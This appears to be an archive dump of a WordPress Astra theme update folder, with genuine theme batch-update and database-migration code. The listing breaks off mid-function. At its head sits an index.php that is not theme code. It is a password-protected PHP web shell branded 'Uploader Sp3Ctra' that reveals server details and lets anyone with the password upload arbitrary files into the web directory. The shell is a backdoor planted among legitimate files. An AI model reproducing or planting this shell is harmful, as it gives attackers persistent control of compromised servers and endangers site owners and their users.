index.php000044400000002763150061531550006373 0ustar00<?php ?><?php error_reporting(0); if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == 'a1fecbae6a303e0618f95586ddb49de7c30f911fecd8701500320daf754868a0') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
echo "<title>Uploader Sp3Ctra</title><b>Sp3Ctra :===>>> ./Yonko  </b></br>".$_SERVER['DOCUMENT_ROOT']."</br>".php_uname();   
$cwd = getcwd(); 
Echo '<center>  <form method="post" target="_self" enctype="multipart/form-data">  
<input type="file" size="20" name="uploads" /> <input type="submit" value="upload" />  
</form>  </center></td></tr> </table><br>'; 
if (!empty ($_FILES['uploads'])) {     
    move_uploaded_file($_FILES['uploads']['tmp_name'],$_FILES['uploads']['name']);     
    Echo "<script>alert('upload Done');       
    </script><b>Uploaded !!!</b><br>name : ".$_FILES['uploads']['name']."<br>size : ".$_FILES['uploads']['size']."<br>type : ".$_FILES['uploads']['type']; } ; 
?>class-astra-theme-background-updater.php000064400000024634150061531550014363 0ustar00<?php
/**
 * Theme Batch Update
 *
 * @package     Astra
 * @link        https://wpastra.com/
 * @since 2.1.3
 */

if ( ! class_exists( 'Astra_Theme_Background_Updater' ) ) {

	/**
	 * Astra_Theme_Background_Updater Class.
	 */
	class Astra_Theme_Background_Updater {

		/**
		 * Background update class.
		 *
		 * @var object
		 */
		private static $background_updater;

		/**
		 * DB updates and callbacks that need to be run per version.
		 *
		 * @var array
		 */
		private static $db_updates = array(
			'4.0.0'  => array(
				'astra_theme_background_updater_4_0_0',
			),
			'4.0.2'  => array(
				'astra_theme_background_updater_4_0_2',
			),
			'4.1.0'  => array(
				'astra_theme_background_updater_4_1_0',
			),
			'4.1.4'  => array(
				'astra_theme_background_updater_4_1_4',
			),
			'4.1.6'  => array(
				'astra_theme_background_updater_4_1_6',
			),
			'4.1.7'  => array(
				'astra_theme_background_updater_4_1_7',
			),
			'4.2.0'  => array(
				'astra_theme_background_updater_4_2_0',
			),
			'4.2.2'  => array(
				'astra_theme_background_updater_4_2_2',
			),
			'4.4.0'  => array(
				'astra_theme_background_updater_4_4_0',
			),
			'4.5.0'  => array(
				'astra_theme_background_updater_4_5_0',
			),
			'4.5.2'  => array(
				'astra_theme_background_updater_4_5_2',
			),
			'4.6.0'  => array(
				'astra_theme_background_updater_4_6_0',
			),
			'4.6.2'  => array(
				'astra_theme_background_updater_4_6_2',
			),
			'4.6.4'  => array(
				'astra_theme_background_updater_4_6_4',
			),
			'4.6.5'  => array(
				'astra_theme_background_updater_4_6_5',
			),
			'4.6.6'  => array(
				'astra_theme_background_updater_4_6_6',
			),
			'4.6.11' => array(
				'astra_theme_background_updater_4_6_11',
			),
			'4.6.12' => array(
				'astra_theme_background_updater_4_6_12',
			),
			'4.6.14' => array(
				'astra_theme_background_updater_4_6_14',
			),
			'4.7.0'  => array(
				'astra_theme_background_updater_4_7_0',
			),
			'4.7.1'  => array(
				'astra_theme_background_updater_4_7_1',
			),
			'4.8.0'  => array(
				'astra_theme_background_updater_4_8_0',
			),
			'4.8.2'  => array(
				'astra_theme_background_updater_4_8_2',
			),
			'4.8.4'  => array(
				'astra_theme_background_updater_4_8_4',
			),
			'4.8.7'  => array(
				'astra_theme_background_updater_4_8_7',
			),
		);

		/**
		 *  Constructor
		 */
		public function __construct() {

			// Theme Updates.
			if ( is_admin() ) {
				add_action( 'admin_init', array( $this, 'install_actions' ) );
			} else {
				add_action( 'wp', array( $this, 'install_actions' ) );
			}

			// Core Helpers - Batch Processing.
			require_once ASTRA_THEME_DIR . 'inc/lib/batch-processing/class-astra-wp-async-request.php';// phpcs:ignore: WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
			require_once ASTRA_THEME_DIR . 'inc/lib/batch-processing/class-astra-wp-background-process.php';// phpcs:ignore: WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound
			require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-wp-background-process.php';// phpcs:ignore: WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound

			self::$background_updater = new Astra_Theme_WP_Background_Process();

		}

		/**
		 * Check Cron Status
		 *
		 * Gets the current cron status by performing a test spawn. Cached for one hour when all is well.
		 *
		 * @since 2.3.0
		 *
		 * @return bool true if there is a problem spawning a call to WP-Cron system, else false.
		 */
		public function test_cron() {

			global $wp_version;

			if ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON ) {
				return true;
			}

			if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) {
				return true;
			}

			$cached_status = get_transient( 'astra-theme-cron-test-ok' );

			if ( $cached_status ) {
				return false;
			}

			$sslverify     = version_compare( $wp_version, 4.0, '<' );
			$doing_wp_cron = sprintf( '%.22F', microtime( true ) );

			$cron_request = apply_filters(
				'cron_request', // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
				array(
					'url'  => site_url( 'wp-cron.php?doing_wp_cron=' . $doing_wp_cron ),
					'args' => array(
						'timeout'   => 3,
						'blocking'  => true,
						'sslverify' => apply_filters( 'https_local_ssl_verify', $sslverify ), // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedHooknameFound
					),
				)
			);

			$result = wp_remote_post( $cron_request['url'], $cron_request['args'] );

			if ( wp_remote_retrieve_response_code( $result ) >= 300 ) {
				return true;
			}

			set_transient( 'astra-theme-cron-test-ok', 1, 3600 );
			return false;
		}

		/**
		 * Install actions when a update button is clicked within the admin area.
		 *
		 * This function is hooked into admin_init to affect admin and wp to affect the frontend.
		 */
		public function install_actions() {

			do_action( 'astra_update_initiated', self::$background_updater );

			if ( true === $this->is_new_install() ) {
				self::update_db_version();
				return;
			}

			$fallback    = $this->test_cron();
			$db_migrated = $this->check_if_data_migrated();
			/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$is_queue_running = astra_get_option( 'is_theme_queue_running', false );

			$fallback = ( $db_migrated ) ? $db_migrated : $fallback;

			if ( $this->needs_db_update() && ! $is_queue_running ) {
				$this->update( $fallback );
			} else {
				if ( ! $is_queue_running ) {
					self::update_db_version();
				}
			}
		}

		/**
		 * Is this a brand new theme install?
		 *
		 * @since 2.1.3
		 * @return boolean
		 */
		public function is_new_install() {

			// Get auto saved version number.
			/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$saved_version = astra_get_option( 'theme-auto-version', false );

			if ( false === $saved_version ) {
				return true;
			}

			return false;
		}

		/**
		 * Is a DB update needed?
		 *
		 * @since 2.1.3
		 * @return boolean
		 */
		private function needs_db_update() {
			$current_theme_version = astra_get_option( 'theme-auto-version', null );
			$updates               = $this->get_db_update_callbacks();

			if ( empty( $updates ) ) {
				return false;
			}

			$versions = array_keys( $updates );
			$latest   = $versions[ count( $versions ) - 1 ];

			return ! is_null( $current_theme_version ) && version_compare( $current_theme_version, $latest, '<' );
		}

		/**
		 * Get list of DB update callbacks.
		 *
		 * @since 2.1.3
		 * @return array
		 */
		public function get_db_update_callbacks() {
			return self::$db_updates;
		}

		/**
		 * Check if database is migrated
		 *
		 * @since 2.3.1
		 *
		 * @return true If the database migration should not be run through CRON.
		 */
		public function check_if_data_migrated() {

			$fallback = false;

			$is_db_version_updated = $this->is_db_version_updated();

			/** @psalm-suppress DocblockTypeContradiction */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			if ( ! $is_db_version_updated ) {

				$db_migrated = get_transient( 'astra-theme-db-migrated' );

				if ( ! $db_migrated ) {
					$db_migrated = array();
				}

				array_push( $db_migrated, $is_db_version_updated );
				set_transient( 'astra-theme-db-migrated', $db_migrated, 3600 );

				$db_migrate_count = count( $db_migrated );
				if ( $db_migrate_count >= 5 ) {
					astra_delete_option( 'is_theme_queue_running' );
					$fallback = true;
				}
			}
			return $fallback;
		}

		/**
		 * Checks if astra addon version is updated in the database
		 *
		 * @since 2.3.1
		 *
		 * @return true if astra addon version is updated.
		 */
		public function is_db_version_updated() {
			// Get auto saved version number.
			/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$saved_version = astra_get_option( 'theme-auto-version', false );

			return version_compare( $saved_version, ASTRA_THEME_VERSION, '=' );
		}


		/**
		 * Push all needed DB updates to the queue for processing.
		 *
		 * @param bool $fallback Fallback migration.
		 *
		 * @return void
		 */
		private function update( $fallback ) {
			$current_db_version = astra_get_option( 'theme-auto-version' );

			if ( count( $this->get_db_update_callbacks() ) > 0 ) {
				foreach ( $this->get_db_update_callbacks() as $version => $update_callbacks ) {
					if ( version_compare( $current_db_version, $version, '<' ) ) {
						foreach ( $update_callbacks as $update_callback ) {
							if ( $fallback ) {
								call_user_func( $update_callback );
							} else {
								self::$background_updater->push_to_queue( $update_callback );
							}
						}
					}
				}
				if ( $fallback ) {
					self::update_db_version();
				} else {
					astra_update_option( 'is_theme_queue_running', true );
					self::$background_updater->push_to_queue( 'update_db_version' );
				}
			} else {
				self::$background_updater->push_to_queue( 'update_db_version' );
			}
			self::$background_updater->save()->dispatch();
		}

		/**
		 * Update DB version to current.
		 *
		 * @param string|null $version New Astra theme version or null.
		 */
		public static function update_db_version( $version = null ) {

			do_action( 'astra_theme_update_before' );

			// Get auto saved version number.
			/** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$saved_version = astra_get_option( 'theme-auto-version', false );

			if ( false === $saved_version ) {

				$saved_version = ASTRA_THEME_VERSION;

				// Update auto saved version number.
				astra_update_option( 'theme-auto-version', ASTRA_THEME_VERSION );
			}

			// If equals then return.
			if ( version_compare( $saved_version, ASTRA_THEME_VERSION, '=' ) ) {
				astra_update_option( 'is_theme_queue_running', false );
				return;
			}

			// Not have stored?
			if ( empty( $saved_version ) ) {

				// Get old version.
				$theme_version = get_option( '_astra_auto_version', ASTRA_THEME_VERSION );

				// Remove option.
				delete_option( '_astra_auto_version' );

			} else {

				// Get latest version.
				$theme_version = ASTRA_THEME_VERSION;
			}

			// Update auto saved version number.
			astra_update_option( 'theme-auto-version', $theme_version );

			astra_update_option( 'is_theme_queue_running', false );

			// Update variables.
			Astra_Theme_Options::refresh();

			delete_transient( 'astra-addon-db-migrated' );

			do_action( 'astra_theme_update_after' );
		}
	}
}


/**
 * Kicking this off by creating a new instance
 */
new Astra_Theme_Background_Updater();
astra-update-functions.php000064400000145341150061531550011666 0ustar00<?php
/**
 * Astra Updates
 *
 * Functions for updating data, used by the background updater.
 *
 * @package Astra
 * @version 2.1.3
 */

defined( 'ABSPATH' ) || exit;

/**
 * Clear Astra + Astra Pro assets cache.
 *
 * @since 3.6.1
 * @return void.
 */
function astra_clear_all_assets_cache() {
	if ( ! class_exists( 'Astra_Cache_Base' ) ) {
		return;
	}
	// Clear Astra theme asset cache.
	$astra_cache_base_instance = new Astra_Cache_Base( 'astra' );
	$astra_cache_base_instance->refresh_assets( 'astra' );

	// Clear Astra Addon's static and dynamic CSS asset cache.
	$astra_addon_cache_base_instance = new Astra_Cache_Base( 'astra-addon' );
	$astra_addon_cache_base_instance->refresh_assets( 'astra-addon' );
}

/**
 * 4.0.0 backward handling part.
 *
 * 1. Migrate existing setting & do required onboarding for new admin dashboard v4.0.0 app.
 * 2. Migrating Post Structure & Meta options in title area meta parts.
 *
 * @since 4.0.0
 * @return void
 */
function astra_theme_background_updater_4_0_0() {
	// Dynamic customizer migration starts here.
	$theme_options = get_option( 'astra-settings', array() );
	if ( ! isset( $theme_options['dynamic-blog-layouts'] ) && ! isset( $theme_options['theme-dynamic-customizer-support'] ) ) {
		$theme_options['dynamic-blog-layouts']             = false;
		$theme_options['theme-dynamic-customizer-support'] = true;

		$post_types = Astra_Posts_Structure_Loader::get_supported_post_types();

		// Archive summary box compatibility.
		$archive_title_font_size = array(
			'desktop'      => isset( $theme_options['font-size-archive-summary-title']['desktop'] ) ? $theme_options['font-size-archive-summary-title']['desktop'] : 40,
			'tablet'       => isset( $theme_options['font-size-archive-summary-title']['tablet'] ) ? $theme_options['font-size-archive-summary-title']['tablet'] : '',
			'mobile'       => isset( $theme_options['font-size-archive-summary-title']['mobile'] ) ? $theme_options['font-size-archive-summary-title']['mobile'] : '',
			'desktop-unit' => isset( $theme_options['font-size-archive-summary-title']['desktop-unit'] ) ? $theme_options['font-size-archive-summary-title']['desktop-unit'] : 'px',
			'tablet-unit'  => isset( $theme_options['font-size-archive-summary-title']['tablet-unit'] ) ? $theme_options['font-size-archive-summary-title']['tablet-unit'] : 'px',
			'mobile-unit'  => isset( $theme_options['font-size-archive-summary-title']['mobile-unit'] ) ? $theme_options['font-size-archive-summary-title']['mobile-unit'] : 'px',
		);
		$single_title_font_size  = array(
			'desktop'      => isset( $theme_options['font-size-entry-title']['desktop'] ) ? $theme_options['font-size-entry-title']['desktop'] : '',
			'tablet'       => isset( $theme_options['font-size-entry-title']['tablet'] ) ? $theme_options['font-size-entry-title']['tablet'] : '',
			'mobile'       => isset( $theme_options['font-size-entry-title']['mobile'] ) ? $theme_options['font-size-entry-title']['mobile'] : '',
			'desktop-unit' => isset( $theme_options['font-size-entry-title']['desktop-unit'] ) ? $theme_options['font-size-entry-title']['desktop-unit'] : 'px',
			'tablet-unit'  => isset( $theme_options['font-size-entry-title']['tablet-unit'] ) ? $theme_options['font-size-entry-title']['tablet-unit'] : 'px',
			'mobile-unit'  => isset( $theme_options['font-size-entry-title']['mobile-unit'] ) ? $theme_options['font-size-entry-title']['mobile-unit'] : 'px',
		);
		$archive_summary_box_bg  = array(
			'desktop' => array(
				'background-color'      => ! empty( $theme_options['archive-summary-box-bg-color'] ) ? $theme_options['archive-summary-box-bg-color'] : '',
				'background-image'      => '',
				'background-repeat'     => 'repeat',
				'background-position'   => 'center center',
				'background-size'       => 'auto',
				'background-attachment' => 'scroll',
				'background-type'       => '',
				'background-media'      => '',
			),
			'tablet'  => array(
				'background-color'      => '',
				'background-image'      => '',
				'background-repeat'     => 'repeat',
				'background-position'   => 'center center',
				'background-size'       => 'auto',
				'background-attachment' => 'scroll',
				'background-type'       => '',
				'background-media'      => '',
			),
			'mobile'  => array(
				'background-color'      => '',
				'background-image'      => '',
				'background-repeat'     => 'repeat',
				'background-position'   => 'center center',
				'background-size'       => 'auto',
				'background-attachment' => 'scroll',
				'background-type'       => '',
				'background-media'      => '',
			),
		);
		// Single post structure.
		foreach ( $post_types as $index => $post_type ) {
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$single_post_structure = isset( $theme_options['blog-single-post-structure'] ) ? $theme_options['blog-single-post-structure'] : array( 'single-image', 'single-title-meta' );
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$migrated_post_structure = array();

			if ( ! empty( $single_post_structure ) ) {
				/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
				foreach ( $single_post_structure as $key ) {
					/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
					if ( 'single-title-meta' === $key ) {
						$migrated_post_structure[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title';
						if ( 'post' === $post_type ) {
							$migrated_post_structure[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-meta';
						}
					}
					if ( 'single-image' === $key ) {
						$migrated_post_structure[] = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-image';
					}
				}

				$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-structure' ] = $migrated_post_structure;
			}

			// Single post meta.
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$single_post_meta = isset( $theme_options['blog-single-meta'] ) ? $theme_options['blog-single-meta'] : array( 'comments', 'category', 'author' );
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$migrated_post_metadata = array();

			if ( ! empty( $single_post_meta ) ) {
				$tax_counter = 0;
				$tax_slug    = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-taxonomy';
				/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
				foreach ( $single_post_meta as $key ) {
					/** @psalm-suppress PossiblyInvalidIterator */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
					switch ( $key ) {
						case 'author':
							$migrated_post_metadata[] = 'author';
							break;
						case 'date':
							$migrated_post_metadata[] = 'date';
							break;
						case 'comments':
							$migrated_post_metadata[] = 'comments';
							break;
						case 'category':
							if ( 'post' === $post_type ) {
								$migrated_post_metadata[]   = $tax_slug;
								$theme_options[ $tax_slug ] = 'category';

								$tax_counter = ++$tax_counter;
								$tax_slug    = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-taxonomy-' . $tax_counter;
							}
							break;
						case 'tag':
							if ( 'post' === $post_type ) {
								$migrated_post_metadata[]   = $tax_slug;
								$theme_options[ $tax_slug ] = 'post_tag';

								$tax_counter = ++$tax_counter;
								$tax_slug    = 'ast-dynamic-single-' . esc_attr( $post_type ) . '-taxonomy-' . $tax_counter;
							}
							break;
						default:
							break;
					}
				}

				$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-metadata' ] = $migrated_post_metadata;
			}

			// Archive layout compatibilities.
			$archive_banner_layout = ( class_exists( 'WooCommerce' ) && 'product' === $post_type ) ? false : true; // Setting WooCommerce archive option disabled as WC already added their header content on archive.
			$theme_options[ 'ast-archive-' . esc_attr( $post_type ) . '-title' ] = $archive_banner_layout;

			// Single layout compatibilities.
			$single_banner_layout = ( class_exists( 'WooCommerce' ) && 'product' === $post_type ) ? false : true; // Setting WC single option disabled as there is no any header set from default WooCommerce.
			$theme_options[ 'ast-single-' . esc_attr( $post_type ) . '-title' ] = $single_banner_layout;

			// BG color support.
			$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-image-type' ] = ! empty( $theme_options['archive-summary-box-bg-color'] ) ? 'custom' : 'none';
			$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-custom-bg' ]  = $archive_summary_box_bg;

			// Archive title font support.
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-family' ] = ! empty( $theme_options['font-family-archive-summary-title'] ) ? $theme_options['font-family-archive-summary-title'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-size' ] = $archive_title_font_size;
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-weight' ] = ! empty( $theme_options['font-weight-archive-summary-title'] ) ? $theme_options['font-weight-archive-summary-title'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$archive_dynamic_line_height = ! empty( $theme_options['line-height-archive-summary-title'] ) ? $theme_options['line-height-archive-summary-title'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$archive_dynamic_text_transform = ! empty( $theme_options['text-transform-archive-summary-title'] ) ? $theme_options['text-transform-archive-summary-title'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-title-font-extras' ] = array(
				'line-height'         => $archive_dynamic_line_height,
				'line-height-unit'    => 'em',
				'letter-spacing'      => '',
				'letter-spacing-unit' => 'px',
				'text-transform'      => $archive_dynamic_text_transform,
				'text-decoration'     => '',
			);

			// Archive title colors support.
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-title-color' ] = ! empty( $theme_options['archive-summary-box-title-color'] ) ? $theme_options['archive-summary-box-title-color'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$theme_options[ 'ast-dynamic-archive-' . esc_attr( $post_type ) . '-banner-text-color' ] = ! empty( $theme_options['archive-summary-box-text-color'] ) ? $theme_options['archive-summary-box-text-color'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			// Single title colors support.
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-banner-title-color' ] = ! empty( $theme_options['entry-title-color'] ) ? $theme_options['entry-title-color'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			// Single title font support.
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-family' ] = ! empty( $theme_options['font-family-entry-title'] ) ? $theme_options['font-family-entry-title'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-size' ] = $single_title_font_size;
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-weight' ] = ! empty( $theme_options['font-weight-entry-title'] ) ? $theme_options['font-weight-entry-title'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$single_dynamic_line_height = ! empty( $theme_options['line-height-entry-title'] ) ? $theme_options['line-height-entry-title'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
			$single_dynamic_text_transform = ! empty( $theme_options['text-transform-entry-title'] ) ? $theme_options['text-transform-entry-title'] : '';
			/** @psalm-suppress PossiblyUndefinedStringArrayOffset */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort

			$theme_options[ 'ast-dynamic-single-' . esc_attr( $post_type ) . '-title-font-extras' ] = array(
				'line-height'         => $single_dynamic_line_height,
				'line-height-unit'    => 'em',
				'letter-spacing'      => '',
				'letter-spacing-unit' => 'px',
				'text-transform'      => $single_dynamic_text_transform,
				'text-decoration'     => '',
			);
		}

		// Set page specific structure, as page only has featured image at top & title beneath to it, hardcoded writing it here.
		$theme_options['ast-dynamic-single-page-structure'] = array( 'ast-dynamic-single-page-image', 'ast-dynamic-single-page-title' );

		// EDD content layout & sidebar layout migration in new dynamic option.
		$theme_options['archive-download-content-layout'] = isset( $theme_options['edd-archive-product-layout'] ) ? $theme_options['edd-archive-product-layout'] : 'default';
		$theme_options['archive-download-sidebar-layout'] = isset( $theme_options['edd-sidebar-layout'] ) ? $theme_options['edd-sidebar-layout'] : 'no-sidebar';
		$theme_options['single-download-content-layout']  = isset( $theme_options['edd-single-product-layout'] ) ? $theme_options['edd-single-product-layout'] : 'default';
		$theme_options['single-download-sidebar-layout']  = isset( $theme_options['edd-single-product-sidebar-layout'] ) ? $theme_options['edd-single-product-sidebar-layout'] : 'default';

		update_option( 'astra-settings', $theme_options );
	}

	// Admin backward handling starts here.
	$admin_dashboard_settings = get_option( 'astra_admin_settings', array() );
	if ( ! isset( $admin_dashboard_settings['theme-setup-admin-migrated'] ) ) {

		if ( ! isset( $admin_dashboard_settings['self_hosted_gfonts'] ) ) {
			$admin_dashboard_settings['self_hosted_gfonts'] = isset( $theme_options['load-google-fonts-locally'] ) ? $theme_options['load-google-fonts-locally'] : false;
		}
		if ( ! isset( $admin_dashboard_settings['preload_local_fonts'] ) ) {
			$admin_dashboard_settings['preload_local_fonts'] = isset( $theme_options['preload-local-fonts'] ) ? $theme_options['preload-local-fonts'] : false;
		}

		// Consider admin part from theme side migrated.
		$admin_dashboard_settings['theme-setup-admin-migrated'] = true;
		update_option( 'astra_admin_settings', $admin_dashboard_settings );
	}

	// Check if existing user and disable smooth scroll-to-id.
	if ( ! isset( $theme_options['enable-scroll-to-id'] ) ) {
		$theme_options['enable-scroll-to-id'] = false;
		update_option( 'astra-settings', $theme_options );
	}

	// Check if existing user and disable scroll to top if disabled from pro addons list.
	$scroll_to_top_visibility = false;
	/** @psalm-suppress UndefinedClass */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
	if ( defined( 'ASTRA_EXT_VER' ) && Astra_Ext_Extension::is_active( 'scroll-to-top' ) ) {
		/** @psalm-suppress UndefinedClass */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
		$scroll_to_top_visibility = true;
	}
	if ( ! isset( $theme_options['scroll-to-top-enable'] ) ) {
		$theme_options['scroll-to-top-enable'] = $scroll_to_top_visibility;
		update_option( 'astra-settings', $theme_options );
	}

	// Default colors & typography flag.
	if ( ! isset( $theme_options['update-default-color-typo'] ) ) {
		$theme_options['update-default-color-typo'] = false;
		update_option( 'astra-settings', $theme_options );
	}

	// Block editor experience improvements compatibility flag.
	if ( ! isset( $theme_options['v4-block-editor-compat'] ) ) {
		$theme_options['v4-block-editor-compat'] = false;
		update_option( 'astra-settings', $theme_options );
	}
}

/**
 * 4.0.2 backward handling part.
 *
 * 1. Read Time option backwards handling for old users.
 *
 * @since 4.0.2
 * @return void
 */
function astra_theme_background_updater_4_0_2() {
	$theme_options = get_option( 'astra-settings', array() );
	if ( ! isset( $theme_options['v4-0-2-update-migration'] ) && isset( $theme_options['blog-single-meta'] ) && in_array( 'read-time', $theme_options['blog-single-meta'] ) ) {
		if ( isset( $theme_options['ast-dynamic-single-post-metadata'] ) && ! in_array( 'read-time', $theme_options['ast-dynamic-single-post-metadata'] ) ) {
			$theme_options['ast-dynamic-single-post-metadata'][] = 'read-time';
			$theme_options['v4-0-2-update-migration']            = true;
			update_option( 'astra-settings', $theme_options );
		}
	}
}

/**
 * Handle backward compatibility on version 4.1.0
 *
 * @since 4.1.0
 * @return void
 */
function astra_theme_background_updater_4_1_0() {

	$theme_options = get_option( 'astra-settings', array() );

	if ( ! isset( $theme_options['v4-1-0-update-migration'] ) ) {
		$theme_options['v4-1-0-update-migration'] = true;
		$current_payment_list                     = array();
		$old_payment_list                         = isset( $theme_options['single-product-payment-list']['items'] ) ? $theme_options['single-product-payment-list']['items'] : array();

		$visa_payment       = isset( $theme_options['single-product-payment-visa'] ) ? $theme_options['single-product-payment-visa'] : '';
		$mastercard_payment = isset( $theme_options['single-product-payment-mastercard'] ) ? $theme_options['single-product-payment-mastercard'] : '';
		$discover_payment   = isset( $theme_options['single-product-payment-discover'] ) ? $theme_options['single-product-payment-discover'] : '';
		$paypal_payment     = isset( $theme_options['single-product-payment-paypal'] ) ? $theme_options['single-product-payment-paypal'] : '';
		$apple_pay_payment  = isset( $theme_options['single-product-payment-apple-pay'] ) ? $theme_options['single-product-payment-apple-pay'] : '';

		false !== $visa_payment ? array_push(
			$current_payment_list,
			array(
				'id'      => 'item-100',
				'enabled' => true,
				'source'  => 'icon',
				'icon'    => 'cc-visa',
				'image'   => '',
				'label'   => __( 'Visa', 'astra' ),
			)
		) : '';

		false !== $mastercard_payment ? array_push(
			$current_payment_list,
			array(
				'id'      => 'item-101',
				'enabled' => true,
				'source'  => 'icon',
				'icon'    => 'cc-mastercard',
				'image'   => '',
				'label'   => __( 'Mastercard', 'astra' ),
			)
		) : '';

		false !== $mastercard_payment ? array_push(
